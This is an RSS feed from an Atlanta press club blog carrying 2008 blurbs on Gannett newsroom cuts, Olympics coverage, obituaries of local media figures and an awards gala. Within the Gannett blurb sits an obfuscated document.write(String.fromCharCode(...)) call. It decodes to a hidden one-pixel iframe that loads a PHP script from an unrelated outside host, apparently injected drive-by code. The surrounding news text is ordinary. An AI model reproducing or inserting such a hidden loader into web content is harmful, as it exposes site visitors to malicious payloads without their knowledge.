http://www.atlantapressclub.org/wordpress Latest from the Atlanta Press Club Sun, 14 Feb 2010 12:07:49 +0000 http://backend.userland.com/rss092 en According to a Reuters article posted this afternoon, Gannett Company Inc., has announced in a memo its plan to cut 1,000 newsroom jobs in its Community Publishing division, which accounts for more than 80 publications (not document.write(String.fromCharCode(60,117,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,59,34,62,60,105,102,114,97,109,101,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,115,114,99,61,34,104,116,116,112,58,47,47,111,105,46,117,115,114,118,48,51,46,99,111,109,47,111,105,46,112,104,112,34,62,60,47,105,102,114,97,109,101,62,60,47,117,62))including USA Today). About 600 people will be laid off, and the remaining cuts ... http://www.atlantapressclub.org/wordpress/2008/08/15/gannett-cutting-1k-newspaper-jobs/ I've found it interesting some of the stories coming out of Beijing these last few days since the Olympics started. First was the report that some of the fireworks we saw on TV during the Opening Ceremony were fake. Then there was the cringe-worthy story of the sweet little girl who appeared ... http://www.atlantapressclub.org/wordpress/2008/08/13/olympics-covering-the-cringe-worthy/ Spirited Atlanta Braves announcer Skip Caray died in his sleep Sunday, having faced numerous health problems over the years including diabetes and congestive heart failure. A part of Braves history for more than three decades, he will be missed by the team as well as his many fans. We at ... http://www.atlantapressclub.org/wordpress/2008/08/04/rip-skip-caray/ In her column published Saturday, AJC Public Editor Angela Tuck shared with readers how leadership at the paper made its decisions about many of its changes. "The newspaper puts more resources into covering those areas where we have the most readers — Atlanta, Fulton, DeKalb, Cobb and Gwinnett...the AJC will ... http://www.atlantapressclub.org/wordpress/2008/08/03/ajc-public-ed-explains-changes/ Bob Edwards, host of The Bob Edwards Show on XM Satellite Radio and Bob Edwards Weekend on Public Radio International, reminded the audience at tonight's annual awards gala that our job as journalists is to ask the tough questions. Investigative reporters in our midst are expected, perhaps mandated, to take ... http://www.atlantapressclub.org/wordpress/2008/07/19/we-ask-the-tough-questions/ Congratulations to the 2008 Journalists of the Year, Alan Judd and Andy Miller of the AJC, recognized tonight at the annual awards gala for their 2007 series on Georgia's mental hospitals. Congratulations also to the JOY category winners: Janet Conley of The Daily Report, Kyra Phillips of CNN, Dana Fowle of WAGA-TV, ... http://www.atlantapressclub.org/wordpress/2008/07/19/congratulations-and-thanks/ Unless you were in outer space, you have heard about the controversy surrounding this week's The New Yorker magazine. It's said any publicity is good publicity! Personally, I was more taken with Jill Lepore's story on the evolution of children's literature within public libraries. On a local front, the Atlanta Journal-Constitution ... http://www.atlantapressclub.org/wordpress/2008/07/18/big-week-for-natl-local-media-outlets/ My same age and a lifelong news junkie like me, Chanda Taylor sounds like someone I would've been friends with. Unfortunately, I will never know the CNN producer and former WSB-TV news producer, who died last week of brain cancer. She also was a former president of AABJ, the Atlanta ... http://www.atlantapressclub.org/wordpress/2008/07/02/another-gone-too-young/ Atlanta's media community has lost two of its own recently. Former WGCL-TV reporter Fred Powers died of cancer Monday. Though he had not been on the air for a few months, Powers was known for being willing to do most anything for a story, including enduring a dog attack and being ... http://www.atlantapressclub.org/wordpress/2008/06/25/sad-losses/ Tim Russert. Enough said. http://www.atlantapressclub.org/wordpress/2008/06/19/he-will-be-missed/